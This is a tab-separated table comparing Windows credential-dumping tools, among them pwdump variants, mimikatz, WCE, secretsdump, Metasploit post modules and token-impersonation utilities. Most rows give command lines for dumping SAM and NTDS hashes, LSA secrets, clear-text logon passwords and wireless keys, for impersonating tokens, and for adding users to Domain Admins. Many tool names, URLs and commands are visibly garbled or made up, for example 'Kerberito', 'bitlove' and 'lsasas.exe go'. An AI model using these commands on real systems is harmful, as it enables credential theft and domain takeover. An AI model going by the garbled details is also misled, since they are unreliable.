Tool	Command line	GUI	Local	Remote	SAM	NTDS.dit	Password history	LSA secrets	Credential manager	Protected storage	Autologin	Logon sessions	Clear-text logon sessions	Session tokens	Cached domain logon information	Wireless	VNC	Certificates and keys	32-bit	64-bit	Windows XP/2003	Windows Vista/2008/7	RDP session isolation	Notes	Commands
Cain & Abel	No	Yes	Yes	Yes, See notes	Yes (in-memory and from reg files)	Yes (in-memory)	Yes	Yes (in-memory and from reg files)	Yes locally No remotely	Yes locally No remotely	Yes (via LSA secrets)	No	No	No	Yes (in-memory and from reg files)	Yes	Yes	No	Yes	Yes	Yes	Yes	Yes	On dump SAM and LSA secrets remotely, use Cain to connect to the target machine as an administrator user, right-click on Services, then "install Abel" (without your Network tab and expand the target entry, then expand the Abel sub-entry and either dump SAM and password history from "Hashes" entry or LSA secrets from the entry below. On 64-bit architecture it fails and displays "CreateRemoteThread failed: 5". On remote logon sessions via RDP it fails and displays "CreateRemoteThread failed: 5", run as SYSTEM to avoid this from happening.	
pwdump2	Yes	No	Yes	No	Yes (in-memory)	Yes (in-memory)	No	No	No	No	No	No	No	No	No	No	No	No	Yes	No. See notes	Yes	No	Yes. See notes		C:>>pwdump2.exe [lsass.exe PID]
pwdump3	Yes. See notes	No	Yes	Yes	Yes (in-memory)	Yes (in-memory)	Yes	No	No	No	No	No	No	No	No	No	No	No	Yes	Yes	Yes	Yes	Yes	Make sure you launch it from C:\ and not from a network shared folder.	C:>>PwDump.exe -o pwdump9.log 127.0.0.1 C:>>PwDump.exe -u -o pwdump9.log 127.0.0.1 # 64-bit C:>>PwDump.exe -o pwdump9.log -u Administrator -p <password> -a ADMINS 192.168.0.1 # remote, one IP
pwdump7	Yes	No	Yes	No	Yes (from registry files). See notes	Yes	No	Yes	No	No	No	No	No	No	No	No	No	No	Yes	Yes	Yes	Yes. See notes	Yes	On domain controllers use in-memory tools or extract from ntds.dit file as SAM contains no domain users, just the "restore mode" administrator password of the DC.	C:>>PwDump7.exe # online SAM and SYSTEM registry files C:>>PwDump7.exe -s <sentfile> <systemfile> # offline SAM and SYSTEM registry files
Quarks PwDump	Yes	No	Yes	No	Yes (from registry files). See notes	Yes (from NTDS.dit)	Yes	No	No	No	No	No	No	No	Yes (from registry files)	No	No	No	Yes	Yes	Yes	Yes	Yes		C:>>quarks-pwdump.exe -dhl -vtsm -o hashes.txt # dump local SAM C:>>quarks-pwdump.exe -dhdc -o cached.txt # dump cached domain logon information
PwnDump	Yes	No	Yes	No	Yes (from registry files). See notes	No	No	No	No	No	No	No	No	No	No	No	No	No	Yes	Yes	Yes	Yes. See notes	Yes	On domain controllers use in-memory tools or extract from ntds.dit file as SAM contains no domain users, just the "restore mode" administrator password of the DC.	Run as SYSTEM C:>>powershell Set-ExecutionPolicy Unrestricted C:>>powershell C:\path\to\pwndump.ps1
fgdump	Yes	No	Yes	Yes	Yes (in-memory)	Yes (?)	Yes	No	Unreliable. See notes	No	No	No	No	No	Yes (in-memory). See notes	No	No	No	Yes	Yes	Yes	Yes	Yes	To dump the cached domain creds, it embeds cachedump.exe and on 64-bit architecture it fails and displays "ERROR! Unable to Load Library fatal error code 126!" The dumping of protected storage fails and displays "fgexec CallNamedPipe failed with error 2" regardless of the architecture.	C:>>PwDump.exe -dcp 127.0.0.1 + + C:>>PwDump.exe -dph 127.0.0.1 Administrator <password> C:>>PwDump.exe -dph ip.txt + + # remote, IP list
PWDump8	Yes	No	Yes	Yes	Yes (in-memory)	Yes (in-memory)	Yes	Yes (in-memory)	No	No	Yes (via LSA secrets)	No	No	No	Yes (in-memory)	No	No	No	Yes	No. See notes	Yes	Yes (?)	Yes	On 64-bit architecture it fails and displays "ERROR! Cannot start PWDumpX service on host"	C:>>PWDump8.exe -dcp 127.0.0.1 Administrator <password> C:>>PWDump8.exe -dph ip.txt + + # remote, IP list
gsecdump	Yes	No	Yes	No	Yes (in-memory). See notes	Yes (in-memory)	No	Yes (in-memory)	No	No	Yes (via LSA secrets)	Yes (dump). See notes	No	No	No	Yes	No	No	Yes	Yes. See notes	Yes	Yes	Yes. See notes	gsecdump is excellent in dumping LSA secrets regardless of the Windows version and architecture. Since version 2.0b5 it is also reliable to dump SAMAD hashes as well as cached domain logon information and it works on 64-bit architecture. On remote logon sessions via RDP it fails and displays "error [6] in GetLsaCodeThread: The handle is invalid" or "error [8] in CreateRemoteThread: Not enough storage is available to process this command", run as SYSTEM to avoid this from happening.	C:>>gsecdump -a
secretsdump	Yes	No	Yes	Yes	Yes (from registry files)	Yes (from NTDS.dit)	Yes	Yes (from registry files)	No	No	No	No	No	No	Yes (from registry files)	No	No	No	Yes	Yes	Yes	Yes	-		$ secretsdump.py -debug -outputfile target_ip DOMAIN/Administrator:password@192.168.0.1 $ secretsdump.py -debug -outputfile target_ip -hashes LMhash:NThash DOMAIN/Administrator@192.168.0.1 $ secretsdump.py -debug -outputfile target_ip -system SYSTEM -security SECURITY -sam SAM ntds ntds.dit LOCAL
lsenum	Yes. See notes	No	Yes	No	Yes (from registry files). See notes	Yes (?)	No	No	Unreliable. See notes	Yes	Yes	No	No	No	No	No	Yes	No	Yes	Yes	Yes	Yes	Yes	It is a bundle of the other tools including the NirSoft ones (netpass, WirelessKeyView, etc). Prefer netpass to dump the credential manager. Do dump SAM hashes it uses pwdump7.	C:>>cscript.exe nocrypt C:>>cscript.exe -64 cpudump.mp (ps /wait /unc # as SYSTEM, disable UAC C:>>cscript.exe -64 cpudump.mp (ps /wait /unc # as user or Administrator, 64-bit
Metasploit smart_hashdump (post module)	Yes	No	Yes	Yes	Yes (in-memory and from reg files)	Yes (in-memory)	No	No	No	No	No	No	No	No	No	No	No	No	Yes	Yes	Yes	Yes	-	Prefer Metasploit smart_hashdump post modules because it uses the in-memory technique to dump domain users credentials. Vice versa when the target is a workstation it will dump the hashes from SAM file instead.	run post/windows/gather/smart_hashdump GETSYSTEM true
Metasploit hashdump (post module)	Yes	No	Yes	Yes	Yes (from registry files). See notes	No	No	No	No	No	No	No	No	No	No	No	No	No	Yes	Yes	Yes	Yes	-	On domain controllers, prefer Metasploit smart_hashdump post modules because SAM file does not contain domain users' information.	run post/windows/gather/hashdump
Metasploit hashdump (script)	Yes	No	Yes	Yes	Yes (from registry files). See notes	No	No	No	No	No	No	No	No	No	No	No	No	No	Yes	Yes	Yes	Yes	-	Prefer Metasploit smart_hashdump post modules because SAM file does not contain domain users' information.	run hashdump
Metasploit hashdump (command)	Yes	No	Yes	Yes	Yes (in-memory). See notes	Yes (in-memory)	No	No	No	No	Yes	No	No	No	No	No	No	No	Yes	Unreliable. See notes	Yes	Yes	-	Prefer to run as SYSTEM. On 64-bit architecture running as SYSTEM within a shell with UAC bypassed it fails and displays "priv_passwd_get_sam_hashes: Operation failed: The parameter is incorrect".	run post/windows/escalate/bypassuac Background session <X>? [y/N] y msf exploit(handler) > sessions -i msf exploit(handler) > sessions -i <X>+1 # these steps are recommended against Windows Vista and Windows 7 to dump SAM hashes from memory hashdump
mimikatz	Yes	No	Yes	No	Yes (in-memory and from reg files)	Yes (in-memory)	Yes	Yes (in-memory)	Unreliable. See notes	No	Yes (via LSA secrets)	Yes (dump and impersonate)	Yes. See notes	No	No	No	No	Yes (exportable and non-exportable)	Yes	Yes	Yes	Yes	Yes	For details on @gentilkiwi/Passwords command refer too: http://blog.gentilkiwi.com/securite/pass-the-pass http://blog.gentilkiwi.com/securite/le-pass-the-pass	Run as any user: mimikatz # sekurlsa::hashes <systemfile> <sentfile> # dump SAM hashes from registry file Run as SYSTEM (psexec.exe -s cmd.exe) (or alternatively assign yourself SeDebugPrivilege with "privilege::debug"): mimikatz # inject::process lsass.exe sekurlsa.dll # required to dump hashes from memory and other operations mimikatz # @getLocalAccounts # dump SAM hashes from memory mimikatz # @getSecrets # dump LSA secrets mimikatz # @getLiveSessions # dump logon sessions mimikatz # @getLoginPasswords # dump clear-text passwords for all sessions (console, RDP, services) mimikatz # crypto::patching Run as user or Administrator: mimikatz # crypto::patching mimikatz # crypto::patchcapi mimikatz # crypto::exportCertificates # dump user's DGR and PFX certificates mimikatz # crypto::exportPfxcp # dump user's PVK keys
wce32	Yes	No	Yes	No	Yes (in-memory and from reg files)	Yes (in-memory)	Yes	No	No	No	No	No	No	No	No	No	No	No	Yes	Yes	Yes	Yes	Yes		Run as SYSTEM (psexec.exe -s cmd.exe) C:>>wce32.exe -s # in-memory technique C:>>wce32.exe -s <sentfile> <sentfile> # offline SAM and SYSTEM registry files
fgdump (pwdump7)	Yes	No	Yes	No	Yes (from registry files)	No	No	No	No	No	No	No	No	No	No	No	No	No	Yes	Yes	Yes	Yes	-	Dump SAM hashes with physical access to the system	$ mount /devroot1 /mntdata1 $ bitlove /mntdata1/Windows/System32/config/SYSTEM /tmp/saved-system.txt $ bitlove /mntdata1/Windows/System32/config/SAM /tmp/saved-system.txt > /tmp/hashes.txt
Credump by moyix	Yes	No	Yes	No	Yes (from registry files)	No	Yes	Yes (from registry files). See notes	No	No	Yes (via LSA secrets)	No	No	No	Yes (from registry files)	No	No	No	Yes	Yes	Yes	Yes	-	To dump LSA secrets of Windows Vista and above versions, use the enhanced version of credump part of ntds_dump_hash - the tool is called bsdumpsecrets.py	$ git clone https://github.com/moyix/creddump $ cd creddump $ python ./pwdump -h $ python ./cachedump.py $ python ./lsadump.py -system hive> -security hive> $ python ./lsadump.py $ python ./bsdumpsecrets.py -system hive> -security hive>
ntds_dump_hash	Yes	No	Yes	No	Yes (from NTDS.dit)	Yes	Yes	Yes (from registry files)	No	No	Yes (via LSA secrets)	No	No	No	Yes (from registry files)	No	No	No	Yes	Yes	Yes	Yes	-	Includes an updated version of moyix's creddump	$ wget http://ntdsdump.com/downloads/ntds/ntds_dump_hash.zip $ unzip ntds_dump_hash.zip $ cd libesedb $ ./configure && make $ cd esedbtools $ ./esedbdumphash -v -t /tmp/output /ntds.dit file>\ $ ls -l /tmp/output.export\ datatable.3 $ ./esedbdump\ $ cdscript -v	py $ ./dsusersinfo.py /tmp/output.export\datatable $ ./dsdump.py -SYSTEM file> /tmp/output.export\datatable -include-locked -include-disabled > domain_hashes.txt
NTDSDump?	Yes	No	Yes	No	Yes (from NTDS.dit)	Yes	No	No	No	No	No	No	No	No	No	No	No	Yes (?)	Yes	Yes	Yes	Yes	-	NTDS.DIT Forensics?	Download and install libesedb from http://sourceforge.net/projects/libesedb/files/libesedb-alpha/: $ wget http://sourceforge.net/projects/libesedb/files/libesedb-alpha/libesedb-alpha-20111210.tar.gz $ cd libesedb-20111210 $ ./configure $ make # make install # as root $ esedbdumphash -t /tmp/esedbexport.log -t /tmp/ntds.dit /<ntds.dit> $ ls -l /tmp/ntds.dit.export\ datatable.3 hiddentable .4 link_table.5 $ ./ntdsdump $ wget http://ca.talbania.com/downloads/ntdsdump/ntdsdump_v1_0.zip $ unzip ntdsdump_v1_0.zip $ cd NTDSDump1.1.0 $ python dsuers.py /tmp/ntds.dit.export\datatable.3 /tmp/ntds.dit.export\link_table.5 -passwordhashes <SYSTEM file> -- $ python dsuers.py /tmp/ntds.dit.export\datatable.3 /tmp/ntds.dit.export\link_table.5 -supplemental <SYSTEM file> --membership > /tmp/ntds.dit.output $ wget http://www.github.com/mimikatz/mimikatz/master/mimikatz/sekurlsa.zip $ python mimikatzsekurlsa.py /tmp/ntds.dit.output
Netscape Windows Password Recovery	No	Yes. See notes	Yes	Yes	Yes (in-memory and from reg files)	Yes (from NTDS.dit)	Yes	Yes (in-memory?)	No	No	Yes (via LSA secrets)	No	No	No	Yes (in-memory? and from reg files)	No	No	No	Yes	Yes	Yes	Yes	Yes	The trial version is limited in functionalities, however it can dump SAM hashes from registry files and in-memory locally. The lifetime personal license, light edition costs $65.	
Kitbash on Vista Email	Yes	No	Yes	No	No	Yes (domain users, from S Yes	No	No	No	No	No	No	No	No	No	No	No	No	Yes	No	No	No	-	Dumping Sentora hashes	$ pidof -s -x nitcsam/kerrnls.conf	perl -e 'while (<>){ @entlpassed = split(/:/, $_); print $entlpassed[0] . ":" . $entlpassed[1] . ":" . ($entlpassed[2] eq "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX") ? "NO PASSWORD**********************" : $entlpassed[2] . ":" . ($entlpassed[3] eq "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX") ? "NO PASSWORD**********************" : $entlpassed[3]" }'
Netscape Network Password Recovery	No	Yes. See notes	Yes	No	No	No	No	No	Yes	No	No	No	No	No	Yes (from registry files)	Yes	No	No	Yes	Yes	Yes	Yes	Yes	The trial version can dump all, but displays only the first three characters of encrypted passwords. The lifetime personal license costs $10.	
Netcruz?	Yes	No	Yes	No	No	No	No	Yes (in-memory)	No	No	Yes (via LSA secrets)	No	No	No	No	No	No	No	Yes	No. See notes	Yes	No (?)	Yes. See notes		C:>>lsadump2.exe
LSASecretsDump	Yes	No	Yes	No	No	No	No	Unreliable. See notes	No	No	Yes (via LSA secrets)	No	No	No	No	No	No	No	Yes	Yes	Yes	Yes	Yes. See notes	On 64-bit architecture it fails and displays "CreateRemoteThread failed: 5". On remote logon sessions via RDP it fails and displays "CreateRemoteThread failed: 5", run as SYSTEM to avoid this from happening. It has always failed to dump all LSA secrets of services running as legitimate domain accounts regardless of the architecture on both Windows 7 and Windows Server 2003 SP2. On remote logon sessions via RDP it fails, run as SYSTEM to avoid this from happening.	C:\>LSASecretsDump.exe -empty C:\>LSASecretsDump-x64.exe -empty # 64-bit
LSASecretsView	No	Yes	Yes	No	No	No	No	Unreliable. See notes	No	No	Yes (via LSA secrets)	No	No	No	No	No	No	No	Yes	Yes	Yes	Yes	Yes. See notes	On pre-Vista versions it has always failed to dump all LSA secrets. On remote logon sessions via RDP it fails, run as SYSTEM to avoid this from happening.	
Network Password Recovery (netpass)	Yes	Yes	Yes	No	No	No	No	No	Yes	No	Yes (via LSA secrets)	No	No	No	No	No	No	No	Yes	Yes. See notes	Yes	Yes	Yes	Make sure you run the 64-bit version of this tool on 64-bit architecture otherwise no entries will be dumped.	C:>>netpass.exe /scomma netpass.csv
Metasploit getsystem(credentials/sam_registry_dump post module)	Yes	No	Yes	Yes	No	No	No	No	Unreliable. See notes	No	No	No	No	No	No	No	No	No	Yes	Yes	Yes	Yes	-	Prefer netpass and Cain & Abel to this Metasploit post-exploitation module. It dumps credentials but it dumped 2 out of 7 entries and the tool output file is not easily readable.	run post/windows/gather/credentials/sam_registry_dump
Credump by moyix	Yes. See notes	No	Yes	No	No	No	No	No	Unreliable. See notes	No	No	No	No	No	No	No	No	No	Yes	No. See notes	Yes	No	Yes	Avoid this tool. It crashes the lsass.exe process and the system gets restarted automatically. Use Cain & Abel by the same author or netpass instead. On 64-bit architecture it fails and displays "CreateRemoteThread failed: 5".	C:>>credump.exe
Protected Storage PassView (pwsp)	Yes	Yes	Yes	No	No	No	No	No	No	Yes	No	No	No	No	No	No	No	No	Yes	Yes	Yes	Yes	-		C:>>pwsp.exe /stab pwsv.txt
Metasploit getprivs(credentials/windows_autologin post module)	Yes	No	Yes	Yes	No	No	No	No	No	No	Yes	No	No	No	No	No	No	No	Yes	Yes	Yes	Yes	-		run post/windows/gather/credentials/windows_autologin
Windows Credentials Editor (WCE)	Yes	No	Yes	No	No	No	No	No	No	No	No	Yes (dump and impersonate)	Yes. See notes	No	No	No	No	No	Yes	Yes. See notes	Yes	Yes	Yes	With version 1.3, WCE is also able to dump clear-text passwords for logon sessions, like mimikatz does (http://reusia.blogspot.com/2012/03/wce-v130beta-32bit-released.html). Make sure you run the 64-bit version of this tool on 64-bit architecture otherwise it won't work.	C:>>wce.exe -l + C:>>wce.exe -r3 # dump available logon sessions every 3 secs C:>>wce.exe -w # dump clear-text passwords for logon sessions C:>>wce.exe -s <user>:<domain>:<LM hash>:<NT hash> -c cmd.exe # impersonate a logon session C:>>wce.exe -g <password> # generate LM and NT hash of <password>
Pass-The-Hash Toolkit (PTH)	Yes	No	Yes	No	No	No	No	No	No	No	Yes (dump and impersonate)	No	No	No	No	No	No	No	Yes	No. See notes	Yes	No. See notes	Yes. See notes	This tool is deprecated and does not work on 64-bit architecture and recent versions of Windows. Use WCE instead. On 64-bit architecture it fails and displays "Error in inject2GetLsaCallFunction", run as SYSTEM to avoid this from happening.	C:>>wcecfunc all size 12 C:>>wcn all size -h <user> <domain> <LM hash> <NT hash> -c cmd.exe # impersonate a logon session C:>>pth-hash.exe <password> # generate LM and NT hash of <password>
Mimikatz	Yes	No	Yes	No	No	No	No	No	No	No	No	Yes (dump)	No	No	No	No	No	No	Yes	Yes	No. See notes	Yes	Yes	Make sure you run the 64-bit version of this tool on 64-bit architecture otherwise no entries will be dumped. On older Windows versions use minikatz, mscdll, WCE or PTH.	C:>>lsasas.exe go
SecretsAdb	Yes	No	Yes	No	No	No	No	No	No	No	No	Yes (impersonate)	No	No	No	No	No	No	Yes	Yes	No. See notes	Yes	Yes	Make sure you run the 64-bit version of this tool on 64-bit architecture otherwise it won't work. On older Windows versions use minikatz, mscdll, WCE or PTH.	C:>>unhash.exe <domain>\<user> <LM hash>\<NT hash> :: cmd.exe
Iophoti	Yes	No	Yes	No	No	No	No	No	No	No	No	Yes (dump and impersonate)	No	No	No	No	No	No	Yes	No. See notes	Yes	No	Yes. See notes	On 64-bit architecture it fails and displays "error: code: -10". Use NumWah, minikatz or WCE instead. On remote logon sessions via RDP it fails and displays "error: code: -10", run as SYSTEM to avoid this from happening.	C:>>iwscd.exe list C:>>iwscd.exe <domain>\<user> <LM hash> <NT hash> sun cmd.exe
Kerberito	Yes	No	Yes	Yes	No	No	No	No	No	No	No	No	No	Yes (list and impersonate)	No	No	No	No	Yes	Unreliable. See notes	Yes	Unreliable. See notes	Yes	This tool is not officially supported on 64-bit architecture and recent versions of Windows. Run it a few times to list all available tokens and impersonate properly.	Run as an administrative user: C:>>kerberito.exe -k 127.0.0.1 list_tokens -u # list available user tokens C:>>kerberito.exe -k 127.0.0.1 list_tokens -g # list available group tokens C:>>kerberito.exe -k 127.0.0.1 execute -c "/bin/sh" -t NT\SYSTEM* cmd.exe # impersonate Local System C:>>kerberito.exe -k 127.0.0.1 add_user -h <domaincontroller> -p <pwd> -u <user> <password> # add a domain user C:>>kerberito.exe -k 127.0.0.1 add_group_user -h <domaincontroller> -g "Domain Admins" -u <user> # assign domain admin to user C:>>kerberito.exe -k 127.0.0.1 add_group_user -h <domaincontroller> -g "Enterprise Admins" -u <user> # assign ent admin to user C:>>kerberito.exe -k 192.168.0.1 list_tokens -u # remote, list available user tokens C:>>kerberito.exe -k 192.168.0.1 list_tokens -g # remote, list available group tokens C:>>kerberito.exe -k 192.168.0.1 execute -c "/bin/sh" -t NT AUTHORITY\SYSTEM* cmd.exe # impersonate Local System C:>>kerberito.exe -k 192.168.0.1 add_user -h <domaincontroller> -u <user> -p <password> # remote, add a domain user C:>>kerberito.exe -k 192.168.0.1 add_group_user -h <domaincontroller> -g "Domain Admins" -u <user> # remote, assign domain admin to user C:>>kerberito.exe -k 192.168.0.1 add_group_user -h <domaincontroller> -g "Enterprise Admins" -u <user> # remote, assign ent admin to user Run as SYSTEM (psexec.exe -s cmd.exe): C:>>kerberito.exe -k 127.0.0.1 list_tokens -u # list available user tokens C:>>kerberito.exe list_tokens -g # list available group tokens C:>>kerberito.exe execute -c "/domainworkgroup/user" cmd.exe # impersonate a <domain|workgroup> user
Rot_SMB?	Yes	No	Yes	Yes	No	No	No	No	No	No	No	No	No	Yes (list)	No	No	No	No	Yes	Unreliable. See notes	Yes	Unreliable. See notes	Yes	This tool is not officially supported on 64-bit architecture and recent versions of Windows. Run it a few times to list all available tokens	Run as an administrator user: C:>>list_token.exe 127.0.0.1 C:>>list_token.exe -f ip.txt # remote, one IP C:>>list_token.exe -f ips.txt # remote, IP list C:>>list_token.exe 192.168.0.1 Administrator <password> # remote, one IP C:>>list_token.exe -f ips.txt Administrator <password> # remote, IP list Run as SYSTEM (psexec.exe -s cmd.exe): C:>>list_token.exe 127.0.0.1
Jackcrack	Yes	No	Yes	No	No	No	No	No	No	No	No	No	No	No	Yes (in-memory)	No	No	No	Yes	No. See notes	Yes	No (?)	Yes	On 64-bit architecture it fails and displays "ERROR! Unable to Load library fatal error code 126!"	C:>>jackcrack.exe -v
Metasploit getsystem(credentials/cachedump post module)	Yes	No	Yes	Yes	No	No	No	No	No	No	No	No	No	No	Yes (from registry files)	No	No	No	Yes	Yes	Yes	Yes	-		run post/windows/gather/cachedump
WirelessKeyView	Yes	Yes	Yes	No	No	No	No	No	No	No	No	No	No	No	No	Yes	No	No	Yes	Yes. See notes	Yes	Yes	Yes	Make sure you run the 64-bit version of this tool on 64-bit architecture otherwise no entries will be dumped.	C:>>WirelessKeyView.exe /cscvdelpict 1 /stab WirelessKeyView_tab.txt
Metasploit wlan/wlan_profile (post module)	Yes	No	Yes	Yes	No	No	No	No	No	No	No	No	No	No	No	Yes	No	No	Yes	Yes	Yes	Yes	-		run post/windows/escalate/bypassuac Background session <X>? [y/N] y msf exploit(handler) > sessions -i msf exploit(handler) > sessions -i <X>+1 # these steps are recommended against Windows Vista and Windows 7 to dump the clear-text wireless passwordpassphrase run post/windows/wlan/wlan_profile
Dpapilaze	Yes	No	Yes	No	No	No	No	No	No	No	No	No	No	No	No	No	Yes	No	Yes	Yes	Yes	Yes	Yes		C:>>mcpwdump.exe -c -s -d
VNCPassView	Yes	Yes	Yes	No	No	No	No	No	No	No	No	No	No	No	No	No	Yes	No	Yes	Yes	Yes	Yes	Yes		C:>>VNCPassView.exe /stab vncpassview.txt
Metasploit getsystem (post module)	Yes	No	Yes	Yes	No	No	No	No	No	No	No	No	No	No	No	No	No	No	Yes	Yes	Yes	Yes	-		run post/windows/gather/credentials/vnc
Metasploit getsystem (script)	Yes	No	Yes	Yes	No	No	No	No	No	No	No	No	No	No	No	No	Yes	No	Yes	Yes	Yes	Yes	-		run getsystem